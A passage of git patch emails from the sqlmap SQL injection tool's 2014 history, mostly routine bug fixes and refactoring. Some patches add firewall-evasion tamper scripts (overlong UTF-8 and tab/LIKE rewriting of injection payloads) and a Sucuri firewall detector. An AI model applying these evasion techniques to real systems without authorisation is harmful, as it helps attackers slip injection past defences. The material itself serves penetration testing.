expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ - and not re.search(SQL_SCALAR_REGEX, expression, re.I)\ - or kb.forcePartialUnion: + and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: From 2be0ebd8832dcb3b1d10c6a58490c9a07529ed93 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 26 Aug 2014 22:40:15 +0200 Subject: [PATCH 436/889] Minor fix (e.g. Oracle identifier names can contain character $) --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index cd19c4630..b94743dba 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1260,7 +1260,7 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - asterisk = re.search("^SELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+([\w\.\_]+)\s*", expression, re.I) + asterisk = re.search("^SELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression, re.I) if asterisk: infoMsg = "you did not provide the fields in your query. " From decd092b2a06fecce66c91976102a7f730ce958a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 26 Aug 2014 22:40:50 +0200 Subject: [PATCH 437/889] Minor patch --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index b94743dba..69b392e86 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1267,7 +1267,7 @@ def expandAsteriskForColumns(expression): infoMsg += "sqlmap will retrieve the column names itself" logger.info(infoMsg) - _ = asterisk.group(2).replace("..", ".") + _ = asterisk.group(2).replace("..", ".").replace(".dbo.", ".") conf.db, conf.tbl = _.split(".", 1) if '.' in _ else (None, _) conf.db = safeSQLIdentificatorNaming(conf.db) conf.tbl = safeSQLIdentificatorNaming(conf.tbl, True) From e68326c0fef78b7c834f35d5ad7c172e99a7b870 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 26 Aug 2014 22:57:08 +0200 Subject: [PATCH 438/889] expandAsteriskForColumns changes value of conf.db and conf.tbl potentially causing problems in further work --- lib/request/inject.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/request/inject.py b/lib/request/inject.py index 0904ae515..847c1b41b 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -343,6 +343,9 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser getCurrentThreadData().disableStdOut = suppressOutput try: + pushValue(conf.db) + pushValue(conf.tbl) + if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression @@ -434,6 +437,9 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() + conf.tbl = popValue() + conf.db = popValue() + kb.safeCharEncode = False if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: From 2a268199d422a8603bc6abd6524f65562587eeca Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 26 Aug 2014 23:11:44 +0200 Subject: [PATCH 439/889] Patch for an Issue #798 --- lib/core/common.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 69b392e86..cbf92ccce 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1268,7 +1268,14 @@ def expandAsteriskForColumns(expression): logger.info(infoMsg) _ = asterisk.group(2).replace("..", ".").replace(".dbo.", ".") - conf.db, conf.tbl = _.split(".", 1) if '.' in _ else (None, _) + db, conf.tbl = _.split(".", 1) if '.' in _ else (None, _) + if db is None: + if expression != conf.query: + conf.db = db + else: + expression = re.sub(r"([^\w])%s" % conf.tbl, "\g<1>%s.%s" % (conf.db, conf.tbl), expression) + else: + conf.db = db conf.db = safeSQLIdentificatorNaming(conf.db) conf.tbl = safeSQLIdentificatorNaming(conf.tbl, True) From fd36250026cc16d7f06567f93862deed0dae5d84 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 26 Aug 2014 23:36:04 +0200 Subject: [PATCH 440/889] Proper fix for an Issue #757 --- lib/core/enums.py | 1 + lib/techniques/error/use.py | 7 ++++--- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index 9b41db113..c7307c778 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -173,6 +173,7 @@ class HTTP_HEADER: SERVER = "Server" USER_AGENT = "User-Agent" TRANSFER_ENCODING = "Transfer-Encoding" + URI = "URI" VIA = "Via" class EXPECTED: diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index c8a43874e..f6c960484 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -35,6 +35,7 @@ from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS +from lib.core.enums import HTTP_HEADER from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import MYSQL_ERROR_CHUNK_LENGTH from lib.core.settings import MSSQL_ERROR_CHUNK_LENGTH @@ -99,14 +100,14 @@ def _oneShotErrorUse(expression, field=None): incrementCounter(kb.technique) - if page and conf.noCast: + if page and conf.noEscape: page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ - extractRegexResult(check, listToStrValue(headers.headers \ + extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ @@ -117,7 +118,7 @@ def _oneShotErrorUse(expression, field=None): output = getUnicode(output) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(trimcheck, listToStrValue(headers.headers \ + or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ From fce671c89949ebb293fb4fa9bc832be54d72d445 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 28 Aug 2014 00:00:16 +0200 Subject: [PATCH 441/889] Patch for an Issue #801 --- lib/core/common.py | 2 ++ thirdparty/clientform/clientform.py | 1 + 2 files changed, 3 insertions(+) diff --git a/lib/core/common.py b/lib/core/common.py index cbf92ccce..245763b9b 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3337,6 +3337,8 @@ def findPageForms(content, url, raise_=False, addToTargets=False): try: forms = ParseResponse(response, backwards_compat=False) + except UnicodeError: + pass except ParseError: warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url logger.warning(warnMsg) diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index 0169c5aaf..3ac1534f5 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -1124,6 +1124,7 @@ def _ParseFileEx(file, base_uri, if action is None: action = base_uri else: + action = unicode(action, "utf8") if action and not isinstance(action, unicode) else action action = _urljoin(base_uri, action) # would be nice to make HTMLForm class (form builder) pluggable form = HTMLForm( From 7595f2b73e588b753412f1b58e25b8b61e3a6fae Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 28 Aug 2014 00:13:27 +0200 Subject: [PATCH 442/889] Minor fix --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 14cbeea37..9e9c94715 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1744,7 +1744,6 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.resumeValues = True kb.safeCharEncode = False kb.singleLogFlags = set() - kb.skipVulnHost = None kb.reduceTests = None kb.stickyDBMS = False kb.stickyLevel = None @@ -1765,6 +1764,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.headerPaths = {} kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) kb.passwordMgr = None + kb.skipVulnHost = None kb.tamperFunctions = [] kb.targets = oset() kb.testedParams = set() From b77d8d617bdb5d25ed81ea6b003907731e62f77e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 28 Aug 2014 00:31:49 +0200 Subject: [PATCH 443/889] Minor patch for an Issue #800 --- lib/controller/checks.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 70f3c9765..40d954db9 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -614,6 +614,9 @@ def checkSqlInjection(place, parameter, value): logger.warn(warnMsg) injection = checkFalsePositives(injection) + + if not injection: + kb.vulnHosts.remove(conf.hostname) else: injection = None From 834f8e18c871a49c9bc6f9679998539301f75d2b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 28 Aug 2014 00:45:57 +0200 Subject: [PATCH 444/889] Minor patch for an Issue #802 --- lib/controller/checks.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 40d954db9..5c241b8b2 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -658,9 +658,7 @@ def checkFalsePositives(injection): retVal = injection - if len(injection.data) == 1 and any(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED]))\ - or len(injection.data) == 2 and all(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED])): -# or len(injection.data) == 1 and 'Generic' in injection.data.values()[0].title and not Backend.getIdentifiedDbms(): + if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data): pushValue(kb.injection) infoMsg = "checking if the injection point on %s " % injection.place From 539c2e2b506663ffe5e4c0f008e0bf5f0e173010 Mon Sep 17 00:00:00 2001 From: Jay Turla Date: Thu, 28 Aug 2014 08:53:21 +0800 Subject: [PATCH 445/889] Create sucuri.py adding Sucuri WebSite Firewall detection --- waf/sucuri.py | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 waf/sucuri.py diff --git a/waf/sucuri.py b/waf/sucuri.py new file mode 100644 index 000000000..8a9e054a8 --- /dev/null +++ b/waf/sucuri.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Sucuri WebSite Firewall" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retVal = code == 403 + retval = re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + if retval: + break + + return retval From 911f27116ac84a52275e6f193bd03a41e7581681 Mon Sep 17 00:00:00 2001 From: Jay Turla Date: Thu, 28 Aug 2014 09:23:44 +0800 Subject: [PATCH 446/889] Update sucuri.py --- waf/sucuri.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/waf/sucuri.py b/waf/sucuri.py index 8a9e054a8..1babc671e 100644 --- a/waf/sucuri.py +++ b/waf/sucuri.py @@ -17,8 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retVal = code == 403 - retval = re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retVal = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None if retval: break From 13bf338f86f1c127f48b1487db9ba5014be8a1c5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 28 Aug 2014 11:58:22 +0200 Subject: [PATCH 447/889] Implementation for an Issue #806 --- tamper/overlongutf8.py | 45 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 tamper/overlongutf8.py diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py new file mode 100644 index 000000000..2723cb004 --- /dev/null +++ b/tamper/overlongutf8.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import string + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOWEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Converts all characters in a given payload (not processing already + encoded) + + Reference: https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ + + >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1') + 'SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: + retVal += payload[i:i + 3] + i += 3 + else: + if payload[i] not in (string.ascii_letters + string.digits): + retVal += "%%C0%%%.2X" % (0x8A | ord(payload[i])) + else: + retVal += payload[i] + i += 1 + + return retVal From fa1cfa21e67688c253f5c984fe102337171161ae Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 28 Aug 2014 12:34:15 +0200 Subject: [PATCH 448/889] Improvement to BlueCoat's tamper script --- tamper/bluecoat.py | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index ee7a8f3c5..c80a48c28 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission import re +from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL @@ -29,14 +30,22 @@ def tamper(payload, **kwargs): Notes: * Useful to bypass Blue Coat's recommended WAF rule configuration - >>> tamper('SELECT id FROM users where id = 1') - 'SELECT%09id FROM users where id LIKE 1' + >>> tamper('SELECT id FROM users WHERE id = 1') + 'SELECT%09id FROM%09users WHERE%09id LIKE 1' """ + def process(match): + word = match.group('word') + if word.upper() in kb.keywords: + return match.group().replace(word, "%s%%09" % word) + else: + return match.group() + retVal = payload if payload: - retVal = re.sub(r"(?i)(SELECT|UPDATE|INSERT|DELETE)\s+", r"\g<1>%09", payload) + retVal = re.sub(r"\b(?P[A-Z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal) retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) + retVal = retVal.replace("%09 ", "%09") return retVal From 94763592557963805197abdfa60e969b325ecb7b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 28 Aug 2014 12:50:39 +0200 Subject: [PATCH 449/889] Bug fix --- lib/request/inject.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/request/inject.py b/lib/request/inject.py index 847c1b41b..5fa111829 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -434,12 +434,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser finally: kb.resumeValues = True - if suppressOutput is not None: - getCurrentThreadData().disableStdOut = popValue() - conf.tbl = popValue() conf.db = popValue() + if suppressOutput is not None: + getCurrentThreadData().disableStdOut = popValue() + kb.safeCharEncode = False if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: From 77cb35dcf62f4f89ad4f531c4f4cb557e523b8a3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 28 Aug 2014 14:26:55 +0200 Subject: [PATCH 450/889] Fix for an Issue #804 --- lib/techniques/blind/inference.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index a56a4ece1..406b00672 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -225,7 +225,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) - originalTbl = type(asciiTbl)(charTbl) + originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace @@ -344,10 +344,13 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if minValue == maxChar or maxValue == minChar: return None - # If we are working with non-continuous elements, set - # both minValue and character afterwards are possible - # candidates - for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]): + for index in xrange(len(originalTbl)): + if originalTbl[index] == minValue: + break + + # If we are working with non-continuous elements, both minValue and character after + # are possible candidates + for retVal in (originalTbl[index], originalTbl[index + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) From 03c8e7b7a2581a7642d2d6eba3315d30577e35b0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Aug 2014 17:13:02 +0200 Subject: [PATCH 451/889] Patch for an Issue #810 --- lib/core/common.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 245763b9b..70768bcea 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2841,10 +2841,10 @@ def maskSensitiveData(msg): Masks sensitive data in the supplied message """ - retVal = msg + retVal = getUnicode(msg) for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy"))): - regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", item) + regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item)) while extractRegexResult(regex, retVal): value = extractRegexResult(regex, retVal) retVal = retVal.replace(value, '*' * len(value)) From e501b2a80b253dbecc57b6be694224685b87cc7d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Aug 2014 20:58:15 +0200 Subject: [PATCH 452/889] Minor patch --- lib/core/common.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/lib/core/common.py b/lib/core/common.py index 70768bcea..573d28bac 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -576,6 +576,11 @@ def paramToDict(place, parameters=None): test = readInput(message, default="N") if test[0] not in ("y", "Y"): raise SqlmapSilentQuitException + elif not _: + warnMsg = "provided value for parameter '%s' is empty. " % parameter + warnMsg += "Please, always use only valid parameter values " + warnMsg += "so sqlmap could be able to run properly" + logger.warn(warnMsg) if conf.testParameter and not testableParameters: paramStr = ", ".join(test for test in conf.testParameter) From 1a9a331422b6e505332111a2070bf48869dab43b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Aug 2014 21:34:23 +0200 Subject: [PATCH 453/889] Bug fix (proper extending of tests when dbms is known) --- lib/controller/checks.py | 4 ++++ lib/core/option.py | 17 +++-------------- lib/core/settings.py | 2 ++ 3 files changed, 9 insertions(+), 14 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 5c241b8b2..b4df11117 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -106,6 +106,10 @@ def checkSqlInjection(place, parameter, value): msg = "do you want to include all tests for '%s' " % _ msg += "extending provided level (%d) and risk (%s)? [Y/n]" % (conf.level, conf.risk) kb.extendTests = [] if readInput(msg, default='Y').upper() != 'Y' else (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) + elif kb.extendTests is None: + msg = "do you want to include all tests for '%s' " % conf.dbms + msg += "extending provided level (%d) and risk (%s)? [Y/n]" % (conf.level, conf.risk) + kb.extendTests = [] if readInput(msg, default='Y').upper() != 'Y' else ([conf.dbms]) title = test.title stype = test.stype diff --git a/lib/core/option.py b/lib/core/option.py index 9e9c94715..a9af310d4 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -93,38 +93,29 @@ from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.exception import SqlmapUserQuitException from lib.core.log import FORMATTER from lib.core.optiondict import optDict -from lib.core.settings import ACCESS_ALIASES from lib.core.settings import BURP_REQUEST_REGEX from lib.core.settings import BURP_XML_HISTORY_REGEX from lib.core.settings import CODECS_LIST_PAGE from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR -from lib.core.settings import DB2_ALIASES +from lib.core.settings import DBMS_ALIASES from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEFAULT_TOR_HTTP_PORTS from lib.core.settings import DEFAULT_TOR_SOCKS_PORT from lib.core.settings import DUMMY_URL -from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import INJECT_HERE_MARK from lib.core.settings import IS_WIN from lib.core.settings import KB_CHARS_BOUNDARY_CHAR from lib.core.settings import LOCALHOST -from lib.core.settings import MAXDB_ALIASES from lib.core.settings import MAX_CONNECT_RETRIES from lib.core.settings import MAX_NUMBER_OF_THREADS -from lib.core.settings import MSSQL_ALIASES -from lib.core.settings import MYSQL_ALIASES from lib.core.settings import NULL -from lib.core.settings import ORACLE_ALIASES from lib.core.settings import PARAMETER_SPLITTING_REGEX -from lib.core.settings import PGSQL_ALIASES from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import SITE -from lib.core.settings import SQLITE_ALIASES from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_OS -from lib.core.settings import SYBASE_ALIASES from lib.core.settings import TIME_DELAY_CANDIDATES from lib.core.settings import UNION_CHAR_REGEX from lib.core.settings import UNKNOWN_DBMS_VERSION @@ -890,11 +881,9 @@ def _setDBMS(): errMsg += "it and sqlmap will fingerprint it for you." raise SqlmapUnsupportedDBMSException(errMsg) - for aliases in (MSSQL_ALIASES, MYSQL_ALIASES, PGSQL_ALIASES, ORACLE_ALIASES, \ - SQLITE_ALIASES, ACCESS_ALIASES, FIREBIRD_ALIASES, \ - MAXDB_ALIASES, SYBASE_ALIASES, DB2_ALIASES): + for dbms, aliases in DBMS_ALIASES: if conf.dbms in aliases: - conf.dbms = aliases[0] + conf.dbms = dbms break diff --git a/lib/core/settings.py b/lib/core/settings.py index 4f1e23616..4a3b8eb7a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -201,6 +201,8 @@ DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) f SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES SUPPORTED_OS = ("linux", "windows") +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES)) + USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) From 177fc0376d38a962ad74f64f9d02a739b5db9fc4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Aug 2014 21:37:38 +0200 Subject: [PATCH 454/889] Minor fix for HSQLDB --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 4a3b8eb7a..aaca12a20 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -201,7 +201,7 @@ DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) f SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") From dc2ee8bfa0706618e7b8837282adc51d785ca3df Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Aug 2014 21:53:09 +0200 Subject: [PATCH 455/889] Minor update --- lib/controller/handler.py | 8 ++++---- plugins/dbms/access/fingerprint.py | 2 +- plugins/dbms/db2/fingerprint.py | 2 +- plugins/dbms/firebird/fingerprint.py | 2 +- plugins/dbms/hsqldb/fingerprint.py | 2 +- plugins/dbms/maxdb/fingerprint.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 +- plugins/dbms/oracle/fingerprint.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 2 +- plugins/dbms/sqlite/fingerprint.py | 2 +- plugins/dbms/sybase/fingerprint.py | 2 +- 12 files changed, 15 insertions(+), 15 deletions(-) diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 38fece4ca..702215e7c 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -71,9 +71,9 @@ def setHandler(): items.remove(_) items.insert(0, _) - for name, aliases, Handler, Connector in items: - if conf.dbms and conf.dbms not in aliases: - debugMsg = "skipping test for %s" % name + for dbms, aliases, Handler, Connector in items: + if conf.dbms and conf.dbms.lower() != dbms.lower(): + debugMsg = "skipping test for %s" % dbms logger.debug(debugMsg) continue @@ -84,7 +84,7 @@ def setHandler(): logger.debug("forcing timeout to 10 seconds") conf.timeout = 10 - dialect = DBMS_DICT[name][3] + dialect = DBMS_DICT[dbms][3] if dialect: sqlalchemy = SQLAlchemy(dialect=dialect) diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index 4b1244d0b..eecaf728b 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -146,7 +146,7 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(ACCESS_ALIASES) or conf.dbms in ACCESS_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(ACCESS_ALIASES) or (conf.dbms or "").lower() in ACCESS_ALIASES): setDbms(DBMS.ACCESS) return True diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 59eba684c..ea467c076 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -81,7 +81,7 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES) or conf.dbms in DB2_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES) or (conf.dbms or "").lower() in DB2_ALIASES): setDbms(DBMS.DB2) return True diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 9c22a4708..4973e56e4 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -104,7 +104,7 @@ class Fingerprint(GenericFingerprint): def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \ - or conf.dbms in FIREBIRD_ALIASES) and Backend.getVersion() and 